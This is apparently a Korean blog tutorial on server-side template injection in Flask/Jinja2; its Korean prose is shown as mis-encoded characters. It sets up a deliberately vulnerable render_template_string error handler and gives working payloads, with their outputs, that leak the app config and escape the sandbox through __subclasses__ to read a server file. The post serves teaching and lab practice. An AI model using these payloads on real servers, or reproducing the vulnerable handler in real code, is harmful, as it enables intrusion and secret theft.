web hacking ๐Ÿ–ฅ/techniques โŒ principles

SSTI ๊ธฐ๋ณธ ๊ฐœ๋…๊ณผ ์˜ˆ์ œ ์‹ค์Šต

Kortsec1 2023. 9. 12. 00:01

SSTI(Server Side Template Injection)์ทจ์•ฝ์ 

๊ณต๊ฒฉ ์ฝ”๋“œ๊ฐ€ ์›น ํ…œํ”Œ๋ฆฟ์— ํฌํ•จ๋œ ์ƒํƒœ์—์„œ ์„œ๋ฒ„ ์ธก์—์„œ ํ…œํ”Œ๋ฆฟ ์ธ์ ์…˜์ด ๋ฐœํ˜„๋˜๋Š” ๊ณต๊ฒฉ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. 

์•ž์„œ, ํ…œํ”Œ๋ฆฟ ์—”์ง„์— ๋Œ€ํ•œ ์ด์•ผ๊ธฐ๋ฅผ ํ•ด๋ด…์‹œ๋‹ค.

 

์›น ํ…œํ”Œ๋ฆฟ ์—”์ง„์€ ์›นํŽ˜์ด์ง€ ์† ๊ณ ์ •์ ์œผ๋กœ ์‚ฌ์šฉ๋˜๋Š” ๋ถ€๋ถ„์„ ํ…œํ”Œ๋ฆฟ์œผ๋กœ ๋ฏธ๋ฆฌ ์ž‘์„ฑํ•ด ๋‘๊ณ ,

๋™์ ์œผ๋กœ ๋ณ€๊ฒฝ๋˜๋Š” ๋ฐ์ดํ„ฐ ์˜์—ญ์„ ๊ฒฐํ•ฉํ•˜์—ฌ ์›น ๋ฌธ์„œ๋ฅผ ๊ตฌ์„ฑํ•˜๊ณ  ํ™”๋ฉด์— ์ถœ๋ ฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

 

์•„๋ž˜ ์‚ฌ์ง„์€ ์ œ๊ฐ€ ๋ฏธ๋ฆฌ ๊ตฌ์ถ•ํ•ด๋‘” ์‹œํ—˜ ํ™˜๊ฒฝ์ž…๋‹ˆ๋‹ค.

img_1 main page template

 

 

๋ฉ”์ธ ํŽ˜์ด์ง€ ์† ๋ฐฐ๊ฒฝ์— ๊ฐ™์€ ์˜์ƒ์ด ๊น”๋ ค์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋ ‡๊ฒŒ ๋™์ผํ•œ, ์ค‘๋ณต๋œ ๋ถ€๋ถ„์„ ๋ฏธ๋ฆฌ ํ…œํ”Œ๋ฆฟ์œผ๋กœ ๋งŒ๋“ค์–ด๋†“์œผ๋ฉด ์†Œ์Šค์ฝ”๋“œ๋ฅผ ์ข€ ๋” ํšจ์œจ์ ์œผ๋กœ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

{% with messages = get_flashed_messages() %}
    {% if messages %}
        <script>
            alert("{{ messages[-1] }}");
        </script>
    {% endif %}
{% endwith %}

<!DOCTYPE html>
<html lang="en">
<head>
    {% block head %}
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>{% block title %}{% endblock %} - My Webpage</title>
    {% endblock %}
</head>
<body>
    <iframe src="https://www.youtube.com/embed/93M1QtYDtpU?autoplay=1&mute=1&loop=1&control=0&playlist=93M1QtYDtpU&controls=0" \
            title="A$AP ROCKY X TYLER THE CREATOR - POTATO SALAD" class="back_youtube" \
            frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; web-share" \
            allowfullscreen>
    </iframe>
    
    {% block content %}
    {% endblock %}
</body>
</html>

 

 

์œ„ ์†Œ์Šค์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด, {% block head %}{% endblock %} ๋ถ€๋ถ„๊ณผ  {% block content %}{% endblock %} ๋ถ€๋ถ„์ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋ ‡๊ฒŒ, ๋ฐ”๋€Œ๋Š” ๋ถ€๋ถ„์„ ์ œ์™ธํ•œ ๋ฐ˜๋ณต๋˜๋Š” ๋ถ€๋ถ„์„ ํ…œํ”Œ๋ฆฟ์œผ๋กœ ๋งŒ๋“ค์–ด ๋†“๋Š”๋‹ค๋ฉด, ๋”์šฑ ์ˆ˜ํ›จํ•˜๊ณ  ์ผ๊ด€์„ฑ์žˆ๊ฒŒ ์†Œ์Šค๋ฅผ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 

๋‹ค์‹œ ๋ณธ๋ก ์œผ๋กœ ๋Œ์•„์™€์„œ, ์œ„์™€ ๊ฐ™์ด ํ…œํ”Œ๋ฆฟ ๊ตฌ๋ฌธ์„ ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์„œ๋ฒ„๋Š” ์ด๋ฅผ ์ •์ƒ์ ์œผ๋กœ ์ฒ˜๋ฆฌํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์„œ SSTI(Server Side Template Injection)๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

 

 

img_2 ssti flow

 

img_2๋ฅผ ๋ณด๋ฉด ์„œ๋ฒ„ ์ธก์— Template์ด ๊ตฌ์„ฑ๋˜์–ด ์žˆ๊ณ , ๊ณต๊ฒฉ์ž๊ฐ€  ms์ฝ”๋“œ์— {{ 7*7 }}๋ผ๋Š” Template ๊ตฌ๋ฌธ์„ ์ž…๋ ฅํ•˜๋ฉด

์„œ๋ฒ„์ธก์—์„œ ์‹คํ–‰๋˜๋Š” ๊ณผ์ •์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 

๋˜ํ•œ ๋ฌธ๋ฒ•์€ Template Engine๋งˆ๋‹ค ์ฐจ์ด๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

${ ... } {{ ... }} <%= %> ...

img_3 template engines

 

 

 

์ด๋Ÿฌํ•œ SSTI๋Š” Server Side์˜ ์ทจ์•ฝ์  ๊ณต๊ฒฉ(RCE, SSRF)์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์–ด ์œ„ํ—˜๋„๊ฐ€ ๋†’์Šต๋‹ˆ๋‹ค.

์ด๋ฒˆ ํฌ์ŠคํŒ…์—์„œ๋Š” ์—ฌ๋Ÿฌ Engines์ค‘ ์ œ ์‹ค์Šต ํ™˜๊ฒฝ์—์„œ๋„ ์‚ฌ์šฉํ•œ 'Jinja Template'์— ๊ด€ํ•ด ์ง„ํ–‰ํ•ด ๋ณผ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

 

 

์šฐ์„ , ์ œ ์›น์† ์ทจ์•ฝํ•œ ํŽ˜์ด์ง€๋Š” ๋ฐ”๋กœ ์˜ค๋ฅ˜ ํŽ˜์ด์ง€์ž…๋‹ˆ๋‹ค.

์š”์ฒญ์‹œ ์˜ค๋ฅ˜๊ฐ€ ๋‚˜๋Š” ์ƒํ™ฉ์„ ๋”ฐ๋กœ ์ฒ˜๋ฆฌํ•˜์—ฌ ๋ฆฌํ„ด์‹œ์ผฐ๋Š”๋ฐ, ์ฝ”๋“œ๋Š” ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.

@app.errorhandler(404)
def page_not_found(e):
    if session:
        name = session['name']
        html = '''
            ํ•ด๋‹น ํŽ˜์ด์ง€๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค %s๋‹˜.
        ''' % name
        return render_template_string(html), 404
    
    else:
        html = '''
            404 ํŽ˜์ด์ง€๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.
        '''
        return render_template_string(html), 404

 

 

 

์ทจ์•ฝ์ ์€ ์œ„ render_template_string ํ•จ์ˆ˜์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

session์ด ์กด์žฌํ•  ๊ฒฝ์šฐ๋ฅผ ๋ณด๋ฉด ๋ณ€์ˆ˜ html์— ๋ฉ”์‹œ์ง€์™€ ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ ์ž…๋ ฅ๋ฐ›์Šต๋‹ˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์ด ๋ณ€์ˆ˜๋Š” ๋ Œ๋”๋ง๋˜์–ด ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ณด์—ฌ์ง€๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

 

 

์—ฌ๊ธฐ์„œ ๋งŒ์•ฝ, ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ Template ๊ตฌ๋ฌธ์œผ๋กœ ๋งŒ๋“ค์—ˆ๋‹ค๋ฉด SSTI ๋˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์•„๋ž˜ ๊ทธ๋ฆผ์œผ๋กœ ํ™•์ธํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

 

img_4 ssti with userName

 

 

์‚ฌ์šฉ์ž ์ด๋ฆ„์„ {{ 7*7 }}๋กœ ํ–ˆ๋”๋‹ˆ ์—ฐ์‚ฐ์ด ์‹คํ–‰๋˜์–ด 49๋ผ๊ณ  ๋‚˜์˜ต๋‹ˆ๋‹ค.

 

๊ธฐ๋ณธ์ ์œผ๋กœ flask์˜ ๊ฒฝ์šฐ app์— ๋“ค์–ด๊ฐ€๋Š” ๋Œ€๋ถ€๋ถ„์˜ ์ •๋ณด๋“ค์ด config ํด๋ž˜์Šค์— ๋“ค์–ด์žˆ์Šต๋‹ˆ๋‹ค.

ํ•œ๋ฒˆ {{ config }}๋กœ ์ด๋ฆ„์„ ๋„ฃ์–ด๋ณผ๊นŒ์š”?

img_5 flask ์† ๋ฏผ๊ฐํ•œ ์ •๋ณด๋“ค

 

 

img_5๋ฅผ ๋ณด๋ฉด, ์‹ค์ œ ์„œ๋ฒ„์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์ค‘์š”ํ•œ ์ •๋ณด๋“ค์ด ๋‚˜ํƒ€๋‚ฌ์Šต๋‹ˆ๋‹ค.

 

 

์ด๋ฟ๋งŒ ์•„๋‹ˆ๋ผ, RCE(Remote Code Execute)์™€ ์—ฐ๊ณ„ํ•˜์—ฌ ์‹œ์Šคํ…œ์— ์ ‘๊ทผํ•˜์—ฌ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

jinja ์—์„œ์˜ ssti์™€ RCE์˜ ์—ฐ๊ณ„๋ฅผ ์œ„ํ•ด์„  sandbox๋กœ๋ถ€ํ„ฐ ๋ฒ—์–ด๋‚˜, python์ฝ”๋“œ๋ฅผ ์‹คํ–‰์‹œํ‚ฌ ๋ฐฉ๋ฒ•์„ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ด๋ฅผ ์œ„ํ•ด์„œ ์˜ค๋ธŒ์ ํŠธ๋“ค์„ ์‚ฌ์šฉํ• ๊ฑด๋ฐ, ํ•ด๋‹น ์˜ค๋ธŒ์ ํŠธ๋“ค์€ ์ƒŒ๋“œ๋ฐ•์Šค ํ™˜๊ฒฝ์—์„œ๋Š” ๋ฒ—์–ด๋‚˜ ์žˆ์ง€๋งŒ ์ ‘๊ทผ์€ ๊ฐ€๋Šฅํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

 

 

์ดํ•ด๊ฐ€ ์ž˜ ์•ˆ๋œ๋‹ค๊ตฌ์š”?

์˜ˆ๋ฅผ ํ•˜๋‚˜ ๋“ค์–ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

 

render_template("ch4n.html", UserId=UserId, UserName=UserName)

์œ„ ์ฝ”๋“œ์—์„œ UserId์™€ UserName์ด๋ž€ objects๋Š” non-sandboxed ํ™˜๊ฒฝ์ด์ง€๋งŒ, sandboxed ํ™˜๊ฒฝ์—์„œ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์–ด๋– ํ•œ sandboxํ™˜๊ฒฝ์—์„œ๋„ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ objects๋Š” ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.

[]
''
()
dict
config
request

 

 

์ด๋Ÿฌํ•œ objects๋กœ๋ถ€ํ„ฐ ์šฐ๋ฆฌ๋Š” <class 'object'>๋ผ๋Š” ํด๋ž˜์Šค์— ์ ‘๊ทผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

<class 'object'>์˜ __subclasses__๋ผ๋Š” ๋ฉ”์„œ๋“œ๋ฅผ ํ†ตํ•ด os์™€ ๊ฐ™์€ non-sandboxed class๋“ค์„ ๋ถˆ๋Ÿฌ์˜ฌ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

 

 

 

์ž ์ด๋ฅผ ์ด์šฉํ•ด ์ง์ ‘ ์„œ๋ฒ„์˜ ํŒŒ์ผ์„ ์ฝ์–ด์˜ค๋Š” ๊ณต๊ฒฉ์„ ํ•ด๋ด…์‹œ๋‹ค.

์šฐ๋ฆฌ๊ฐ€ ์ง„ํ–‰์‹œํ‚ฌ ํฐ ํ๋ฆ„์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

 

img_6 attack flow

 

 

ํŒŒ์ผ์„ ์ฝ์–ด์˜ค๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•  class๋ฅผ ํƒ์ƒ‰ํ•ด ๋ด…์‹œ๋‹ค.

 

 

 

{{ ''.__class__ }}

ํ•ด๋‹น ํŽ˜์ด์ง€๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค <class 'str'>๋‹˜.

 

__class__ ๋งค์„œ๋“œ๋Š” ํ•ด๋‹น ์˜ค๋ธŒ์ ํŠธ์˜ ํด๋ž˜์Šค๋ฅผ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

 

 

 

 

 

{{ ''.__class__.__mro__ }}

ํ•ด๋‹น ํŽ˜์ด์ง€๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค (<class 'str'>, <class 'object'>)๋‹˜.

 

__mro__ ๋งค์„œ๋“œ๋Š” ๋ถ€๋ชจ ํด๋ž˜์Šค๋“ค์„ ํŠœ๋ธ”๋กœ ๋ฐ˜ํ™˜ํ•ด ์ค๋‹ˆ๋‹ค.

๋ฐ˜ํ™˜ ๊ฐ’์ค‘ ๋‘ ๋ฒˆ์งธ์— <class 'object'>๊ฐ€ ์žˆ์Œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 

 

 

 

{{ ''.__class__.__mro__[1].__subclasses__() }}

ํ•ด๋‹น ํŽ˜์ด์ง€๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>,

...

 <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>]๋‹˜.

 

__subclasses__ ๋งค์„œ๋“œ๋ฅผ ํ†ตํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์ˆ˜๋ฐฑ๊ฐ€์ง€์˜ ํด๋ž˜์Šค๋“ค์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด์ค‘ ์šฐ๋ฆฌ๊ฐ€ ์‚ฌ์šฉํ•  ํด๋ž˜์Šค๋Š” ํŒŒ์ผ ์ž…์ถœ๋ ฅ ๊ด€๋ จ ํ•จ์ˆ˜๊ฐ€ ์žˆ๋Š” <class '_frozen_importlib_external.FileLoader'> ์ž…๋‹ˆ๋‹ค.

index๊ฐ€ 91์ด๋‹ˆ, __subclasses__()[91]๋กœ ํด๋ž˜์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

img_7 classes

 

 

 

 

<class '_frozen_importlib_external.FileLoader'>์— ๊ด€ํ•ด ์ž์„ธํ•œ ์„ค๋ช…์„ ํ•ด๋ณด์ž๋ฉด

python์ด ๊ธฐ๋ณธ์ ์œผ๋กœ ์ž‘๋™ํ•˜๊ธฐ ์œ„ํ•ด ํ•„์š”ํ•œ ํด๋ž˜์Šค๋กœ, ๊ตฌ์ฒด์ ์œผ๋ก  import๋ฅผ ๊ตฌํ˜„ํ•˜๋Š” ๊ตฌ์„ฑ ์š”์†Œ์ž…๋‹ˆ๋‹ค.

ํด๋ž˜์Šค ๋งจ ์•ž _frozen_์€ ์‰ฝ๊ฒŒ ๋งํ•ด Unix system์„ ์œ„ํ•œ python ์ปดํŒŒ์ผ ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ผ ๋ณด๋ฉด ๋ฉ๋‹ˆ๋‹ค.

https://wiki.python.org/moin/Freeze

 

Freeze - Python Wiki

Freeze Freeze is a "pure Python" utility that ships with Python. You can use Freeze to compile executables for Unix systems. If you want to write Python, but you don't know if your clients have Python installed, use this! How to Use Create a Python program

wiki.python.org

 

 

 

FileLoader๋Š” filename๊ณผ path๋ผ๋Š” ๋‘ ๊ฐ€์ง€์˜ ์ธ์ž๋ฅผ ๋ฐ›์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ, get_data๋ผ๋Š” ํ•จ์ˆ˜๋ฅผ ๊ฐ€์ง€๋Š”๋ฐ ํ•ด๋‹น ํ•จ์ˆ˜๋Š” path์ธ์ž๋ฅผ ๋ฐ›์•„ ๋ฐ”์ด๋„ˆ๋ฆฌ ํŒŒ์ผ๋กœ ์ฝ๊ณ  ๋ฐ”์ดํŠธ์—ด์„ ๋ฐ˜ํ™˜ํ•ด์ค๋‹ˆ๋‹ค.

์‰ฝ๊ฒŒ ๋งํ•ด, ํŒŒ์ผ์„ ์ฝ์–ด์ฃผ๋Š” ์—ญํ• ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

https://docs.python.org/ko/dev/library/importlib.html#importlib.abc.FileLoader

 

importlib — The implementation of import

Source code: Lib/importlib/__init__.py Introduction: The purpose of the importlib package is three-fold. One is to provide the implementation of the import statement (and thus, by extension, the__i...

docs.python.org

 

 

 

์•„๋ž˜ ์ฝ”๋“œ๋Š” importlib์† FileLoaderํด๋ž˜์Šค ์ž…๋‹ˆ๋‹ค.

class FileLoader:

...

    def get_data(self, path):
            """Return the data from path as raw bytes."""
            if isinstance(self, (SourceLoader, ExtensionFileLoader)):
                with _io.open_code(str(path)) as file:
                    return file.read()
            else:
                with _io.FileIO(path, 'r') as file:
                    return file.read()
                
...

https://github.com/python/cpython/blob/d4cea794a7b9b745817d2bd982d35412aef04710/Lib/importlib/_bootstrap_external.py#L1161C12-L1161C12

 

 

 

์šฐ๋ฆฌ๋Š” ์ง€๊ธˆ ์„œ๋ฒ„์— ๋ฏธ๋ฆฌ ์ €์žฅํ•ด ๋‘” /secret ํŒŒ์ผ์„ ์ฝ์–ด์˜ฌ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์ฝ”๋“œ๋Š” ...('secret','/secret').get_data('/secret') ๊ณผ๊ฐ™์ด ์ž‘์„ฑํ•ด์•ผ๊ฒ ์ฃ ?

 

 

 

 

 

 

{{ ''.__class__.__mro__[1].__subclasses__()[91]('secret','/secret').get_data('/secret') }}

 

์ด์ œ ํ•ด๋‹น payload๋กœ ์ด๋ฆ„์„ ๋ฐ”๊ฟ”๋ณด๊ณ  ํ™•์ธํ•ด ๋ด…์‹œ๋‹ค.

img_8 read server file

 

 

์„ฑ๊ณต์ ์œผ๋กœ ์„œ๋ฒ„ ์† ํŒŒ์ผ์„ ์ฝ์–ด์™”์Šต๋‹ˆ๋‹ค.

 

 

 

์ด์ฒ˜๋Ÿผ ssti๋Š” server side ๋ฌด์„œ์šด ๊ณต๊ฒฉ๋“ค๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ตœ๋Œ€ํ•œ์˜ ์ดํ•ด๋ฅผ ๋•๊ธฐ ์œ„ํ•ด ์ œ๊ฐ€ ์ฐพ์•„๊ฐ”๋˜ ๋ฃจํŠธ๋ฅผ ๊ทธ๋Œ€๋กœ ๋”ฐ๋ผ๊ฐ€๋‹ค๋ณด๋‹ˆ,

๊นŠ์€ ๋ถ€๋ถ„๊นŒ์ง€ ๊ฐ€๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

 

์ด์ƒ ์ด๋ฒˆ ํฌ์ŠคํŒ…์„ ๋งˆ์น˜๊ฒ ์Šต๋‹ˆ๋‹ค.